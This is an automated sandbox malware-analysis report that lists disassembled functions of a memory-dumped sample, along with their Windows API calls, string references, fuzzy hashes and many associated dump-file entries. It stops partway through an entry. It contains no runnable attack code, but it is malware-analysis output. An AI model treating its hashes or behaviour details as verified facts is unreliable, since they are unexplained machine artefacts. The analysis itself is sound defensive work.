Opcode Fuzzy Hash: 2f1da3b720446c3b7a53faf94af8b121f604059a0139149dc16185652dbd94b5
Instruction Fuzzy Hash: 0021303134470897EB265768988BF7D77629F81308F24481EE445D62D1CB7A5D818793

Function 003CA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 003CA963
CreateMutexA.KERNEL32(00000000,00000000,00423254), ref: 003CA981

Strings

T2B, xrefs: 003CA970

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2B
API String ID: 1464230837-3780520883
Opcode ID: 90efe69ae1657ea8b9f42957c09241cd1a0ba1ff9bf5393119c7f216cadae381
Instruction ID: 4027c97b0c02135b1dbb19b35b6421ad22a1ec065ff9444bc12f8c86753a173a
Opcode Fuzzy Hash: 90efe69ae1657ea8b9f42957c09241cd1a0ba1ff9bf5393119c7f216cadae381
Instruction Fuzzy Hash: 60217C327006089BEB19DB68EC86B6DF772DBC1319F24461DE404DB7D0CB769D808762

Function 003C7D30 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 003C7ED3

Strings

=m%, xrefs: 003C7D5B

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: =m%
API String ID: 1721193555-854977245
Opcode ID: 1c07b1c026e4b8c92487656ba1dcb705147848fe1f47c89eb3ba3c175c9ec155
Instruction ID: fbcbf9929844c3221a42854ec9ef9ddf60ae5065d36a7f835b185277f2dc1ca1
Opcode Fuzzy Hash: 1c07b1c026e4b8c92487656ba1dcb705147848fe1f47c89eb3ba3c175c9ec155
Instruction Fuzzy Hash: 85E14A71F00254A7CB26BB28DD0BB9E7A71AB41720FD0429DE415AB3C2DB755F818BC6

Function 003CB1A0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 003CB3C8

Strings

=m%, xrefs: 003CB1B7

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: =m%
API String ID: 2538663250-854977245
Opcode ID: ff6fd44a1a9b701f86ca0ca9925257371a27810f38b1322c8ab6b49c8ac36d2f
Instruction ID: 259ea25627e80abbeea2340cbff532b74201625043bf966ae371fbfec288f9a4
Opcode Fuzzy Hash: ff6fd44a1a9b701f86ca0ca9925257371a27810f38b1322c8ab6b49c8ac36d2f
Instruction Fuzzy Hash: BCB11570A10268DFEB29CF18C895BDEB7B5EF15304F5085D9E809A7281D775AE88CF90

Function 003FD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,003FA813,00000001,00000364,00000006,000000FF,?,003FEE3F,?,00000004,00000000,?,?), ref: 003FD871

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bc2b48a41710dcf788ad9860453d3359fe5402d5e2dfea0387b72a2ee8ba8be4
Instruction ID: 2c1a8acf105d15dfbd85c4a65e5ee426785b2c6d76e253b4baef5f1c22a382a2
Opcode Fuzzy Hash: bc2b48a41710dcf788ad9860453d3359fe5402d5e2dfea0387b72a2ee8ba8be4
Instruction Fuzzy Hash: 77F0543161512DA6EB236A769D09B7B775BDB457F0B168121EF089B581DA20EC0185E0

Function 003C87B2 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,003CDA1D,?,?,?,?), ref: 003C87B9

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 97d27622f353ed93c8740d1ecdca91888bc5da53e57b6d62553cf9a9fc7a8912
Instruction ID: ee4fcefae360cae75eaace60a3d72360d37f90a28a108e1bbde7d3376ecdc4ee
Opcode Fuzzy Hash: 97d27622f353ed93c8740d1ecdca91888bc5da53e57b6d62553cf9a9fc7a8912
Instruction Fuzzy Hash: 8FC08C2812160026ED1D073C00C4EAA334649477E87F41F9CE0B0CB1E1EE356D07A360

Function 003C87B0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,003CDA1D,?,?,?,?), ref: 003C87B9

Memory Dump Source

